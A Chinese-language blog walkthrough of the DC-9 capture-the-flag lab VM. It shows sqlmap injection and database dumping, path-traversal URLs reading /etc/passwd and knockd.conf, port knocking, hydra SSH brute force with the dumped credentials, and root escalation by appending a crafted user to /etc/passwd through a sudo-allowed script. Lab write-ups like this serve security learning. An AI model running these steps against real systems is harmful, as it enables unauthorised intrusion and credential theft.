DC-9

DC-9

Posted by Kyon-H on July 17, 2025

1. 信息搜集

扫描IP发现主机 192.168.163.135

image.png

扫描端口,发现80端口开放,22端口 filtered 说明可能存在ssh服务,但被拒绝访问

1
nmap -T4 -A -p- 192.168.163.135

image.png

扫描目录

1
dirsearch -u http://192.168.163.135/ -e* -i 200

image.png

/search.php发现搜索框,使用sqlmap测试

2. 数据库爆破

使用bp抓取提交搜索的数据包,保存到a.txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /results.php HTTP/1.1
Host: 192.168.163.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.163.135
Connection: close
Referer: http://192.168.163.135/search.php
Cookie: PHPSESSID=rn9as0edebkia6tvjbv2amr05p
Upgrade-Insecure-Requests: 1
Priority: u=0, i

search=12

sqlmap 测试 search字段是否存在注入漏洞

1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search --dbs

image.png

发现存在注入漏洞,且获取到两个数据库:Staffusers

2.1. 爆破 Staff 数据库

获取表名 image.png

获取列名 image.png

获取用户名、密码 image.png

得到密码:transorbital1

2.2. 爆破 users 数据库

获取 users 数据库数据

1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search -D users -T UserDetails -C username,password --dump

image.png

相关数据保存到了 C:\Users\vmuser\AppData\Local\sqlmap\output\192.168.163.135\dump\users\UserDetails.csv 文件中,可将其中内容复制到kali中,之后用来SSH爆破 image.png

3. 网站登录

通过用户:admin 密码:transorbital1 登录成功

发现 File does not exist 字段,猜测有文件包含漏洞

image.png

测试url: http://192.168.163.135/manage.php?file=../../../../etc/passwd ,成功获取到数据

由于ssh服务为 filtered 猜测是否存在敲门

构造url: http://192.168.163.135/welcome.php?file=../../../../../../etc/knockd.conf ,访问成功

image.png

4. SSH爆破

根据文件中的端口,依次访问

1
2
3
nc 192.168.163.135 7469
nc 192.168.163.135 8475
nc 192.168.163.135 9842

再次扫描端口,发现已开放

image.png

将爆破 users 数据库得到的.csv文件内容复制到kali,保存为user.txt,使用vim将其中的 , 替换为 :,构造为符合hydra的格式

1
:%s/,/:/g

hydra爆破SSH

1
hydra -C user.txt ssh://192.168.163.135

image.png

用户名 密码
chandlerb UrAG0D!
janitor Ilovepeepee
joeyt Passw0rd

janitor登陆成功,发现以下文件

image.png

查看内容,疑似密码

image.png

保存到文件中,并将之前的user.txt内容删去密码

1
:%s/:.*//g

爆破用户名密码

1
hydra -L user.txt -P pass.txt ssh://192.168.163.135

image.png

用户名 密码
fredf B4-Tru3-001
joeyt Passw0rd

获取到新的用户名,发现为系统管理员

image.png

5. root提权

登录成功,尝试 sudo -l 提权

image.png

发现 /opt/devstuff/dist/test/test 可用于提权,查看文件属性为二进制文件

image.png

搜索上级目录,发现源代码文件 test.py

image.png

查看脚本内容:输入两个参数,且都为文件路径,之后读取第一个文件内容,将其追加到第二个文件中

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

利用思路:向 /etc/passwd 中追加root权限用户,之后切换到该用户,实现root提权

使用无密码用户提权失败,因此生成加密密码,构造有密码用户

1
2
openssl passwd -1 123
# $1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0

构造 /etc/passwd 格式,保存到临时文件,执行test脚本将其追加到 /etc/passwd

1
2
3
echo 'rroott:$1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0:0:0::/root:/bin/bash' >/tmp/tf
sudo ./test /tmp/tf /etc/passwd
su rroott

提权成功

image.png

获取flag文件

image.png